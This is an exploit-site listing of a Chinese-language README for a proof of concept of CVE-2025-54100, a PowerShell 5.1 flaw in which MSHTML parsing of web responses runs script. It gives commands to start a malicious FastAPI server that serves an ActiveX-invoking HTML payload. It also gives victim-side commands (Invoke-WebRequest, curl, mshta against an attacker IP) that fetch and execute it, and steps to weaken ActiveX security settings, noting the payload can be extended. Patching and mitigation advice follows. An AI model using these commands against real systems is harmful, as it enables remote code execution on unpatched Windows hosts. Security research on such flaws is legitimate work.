Sploitus

Exploit for CVE-2025-54100

kitploit · 2026-09-01

Exploit Code

MARKDOWN115 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-XIAOLVCHEN-CVE-2025-54100
# CVE-2025-54100 – PowerShell 响应解析 PoC

演示 **CVE-2025-54100** 如何通过恶意 HTML 解析,在 **Windows PowerShell 5.1** 中导致 **远程代码执行(RCE)** 。

## 什么是 CVE-2025-54100?

**漏洞类型:** 当 `Invoke-WebRequest` **未使用** `-UseBasicParsing` 参数时存在命令注入风险

**严重等级:** CVSS 7.8(高危)

**根本原因:** 基于 MSHTML 的 HTML 响应解析允许脚本执行(如 `ActiveXObject`),并在调用者上下文中运行

**受影响系统:**

  * Windows 10 / 11
  * Windows Server 2008–2025
  * PowerShell 5.1



## PoC 的工作原理

  1. `CVE-2025-54100.py` 中的 FastAPI 服务器返回一个精心构造的 HTML 载荷
  2. HTML 中的脚本尝试实例化 `WScript.Shell` / `Shell.Application` 等 ActiveX 对象
  3. 在存在漏洞的主机上,MSHTML 解析器会执行该脚本,通过启动 `calc.exe` 来演示远程代码执行
  4. 提供的载荷是**最小化且无破坏性** 的,仅用于研究和验证,但可以按需扩展用于进一步分析



## 快速开始

### 环境要求

  * Python 3.10+(已在 FastAPI 与 Uvicorn 环境中测试)
  * 安装依赖 

root@kitploit:~
        
        python3 -m venv .venv
        source .venv/bin/activate
        pip3 install -r requirements.txt
        




### 运行恶意服务器

启动 PoC HTTP 服务:

root@kitploit:~
    
    
    uvicorn app:app --host 0.0.0.0  --port 8888 --reload
    

## 从受害主机触发

在**存在漏洞的 Windows 主机** 上,**不要使用** `-UseBasicParsing`,执行以下命令:

root@kitploit:~
    
    
    # Invoke-WebRequest
    Invoke-WebRequest -Uri "http://192.168.26.16:8888"
    # curl(PowerShell 中的别名)
    curl http://192.168.26.16:8888
    # mshta
    mshta http://192.168.26.16:8888
    

请确保端口与服务器配置一致。 如果系统存在漏洞,嵌入的脚本将通过 MSHTML 解析器执行。

> 注意:部分杀毒软件可能会拦截该行为,即使解析漏洞本身仍然存在。

## 排错与验证

  1. 如果没有弹出 `calc.exe`: 
     1. 在受害机上打开 **Internet 选项**
     2. 进入 **安全 → 自定义级别**
     3. 启用 **“初始化并脚本化未标记为安全的 ActiveX 控件”**
     4. 再次执行未使用 `-UseBasicParsing` 的 `Invoke-WebRequest`



> 该步骤用于验证执行向量。真实攻击场景中,攻击者可能会使用混淆或绕过技术规避默认安全限制。

## 验证证据

![PoC](https://assets.kitploit.com/production/public/readmes/34591/801e3b4d0ae649f4452869116b4f2262d55656dee1538fb24ef547171b67e0d8.png)

## 缓解措施

微软已于 **2025 年 12 月** 修复该漏洞:

  1. 及时安装 Windows 安全更新

  2. **始终使用`-UseBasicParsing`**,避免 MSHTML 解析:

root@kitploit:~
         
         Invoke-WebRequest -Uri "http://<attacker-ip>:8888" -UseBasicParsing
         

  3. 迁移至 PowerShell 7+(pwsh),PowerShell Core 不再依赖 MSHTML 进行解析,从架构上规避了该问题。




## 参考资料

  * NVD: CVE-2025-54100
  * MSRC: Update Guide
  * GitHub: osman1337-security/CVE-2025-54100